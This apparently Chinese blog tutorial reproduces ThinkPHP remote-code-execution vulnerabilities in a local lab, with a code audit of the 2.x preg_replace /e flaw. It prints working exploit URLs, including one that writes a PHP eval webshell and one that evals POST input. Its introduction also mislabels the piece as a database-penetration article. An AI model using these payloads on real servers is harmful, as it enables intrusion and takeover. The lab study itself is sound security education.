携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第11天,点击查看活动详情
一、前言
服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Thinkphp简介、Thinkphp安装、Thinkphp任意代码执行分析、Thinkphp远程代码执行漏洞、Thinkphp自动化武器攻击等等操作,如果连Thinkphp都不会安装操作提权等,怎么拿下对方服务器?
二、Thinkphp简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。我们将带来ThinkPHP各个版本的漏洞分析文章。
三、Thinkphp本地安装
1、官网下载
http://www.thinkphp.cn/down.html
2、本地搭建Thinkphp
1)安装vc9_x86(必装)
2)安装phpStudy20161103
3)开启php
4)将下载到的thinkphp.x解压,可以得到下图中的内容,把所有文件复制到网站的根目录,也就是之前设置中那个WWW\web的文件夹内:
5)输入域名,这里是本地,可以输入127.0.0.1或者localhost或者本地IP都行,网站目录可以是你硬盘上的任何文件夹,默认文职是phpstudy安装目录下的WWW/web文件夹,点击新增后再点击保存设置并生成配置文件即可:
6)下面来修改一下站点的运行目录,由于thinkPHP的入口是在public下,所以这里需要修改一下,点击”其他设置“->打开配置文件->vhosts-conf:
7)配置文件会以一个文本文件的方式打开,你会看到documentroot和directory的路径是一样的,只需要在documentroot后面加上\public就可以了,点击保存:
\
8)远程访问测试
成功搭建!
四、Thinkphp本地复现
1)验证POC:
http://192.168.253.107/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
2)写入一句话:
http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%64%61%79%75%5d%29%3b%3f%3e
3)成功写入一句话:
4)蚁剑上线:
五、Vulhub-Thinkphp复现
1、ThinkPHP 2.x 任意代码执行漏洞
1)漏洞简介
(1)漏洞原理:
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
(2)影响版本:
ThinkPHP 2.x
2)漏洞原理详解
由于是preg_replace这个函数引起的漏洞,所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
下面是搜索到的关于/e的解释:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
本地测试直接使用下面这行代码测试即可,可使用在线PHP沙箱来测试。
沙箱地址:
http://sandbox.onlinephpfunctions.com/
<?php
@preg_replace('/test/e','print_r("dayu");','just test');
这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了!
3)漏洞启动
(1)开启ThinkPHP 2.x 任意代码执行漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
3)代码审计-底层分析思路详解
(1)进入docker内分析代码
sudo docker ps
sudo docker exec -ti cb501aa8dbe7 bash
find . -name '*.php' | xargs grep -n 'preg_replace'
(2)发现存在preg_replace函数的脚本:
./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php
(3)存在/e修饰符的脚本
./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,/]+)@e', '$pathInfo['\1']="\2";', $_SERVER['PATH_INFO']);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{$(_\w+).(\w+)|(\w+)}/e',"\3($\1['\2'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{$(_\w+).(\w+)}/e',"$\1['\2']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(\w+)|(\w+)}/e',"\2($_GET['\1'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(\w+)}/e',"$_GET['\1']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(\w+)}/e',"\1()",$rule);
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(\w+)/([^,/]+)@e', '$var['\1']="\2";', implode('/',$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(\w+)/([^,/]+)@e', '$var['\1']="\2";', str_replace($matches[0],'',$regx));
./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: \1"', $str);
./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\1')", $name));
有以上这些都存在/e修饰符的脚本!!
(4)根据漏洞描述,有漏洞的代码位置在:
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
根据代码注释,了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。
(5)thinkphp 应该也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。
类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称
\
4)漏洞复现
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
index.php?s=/index/index/name/${@phpinfo()}
直接访问:
http://192.168.253.7:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
即可执行phpinfo():!
(3)构造poc
http://192.168.253.7:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}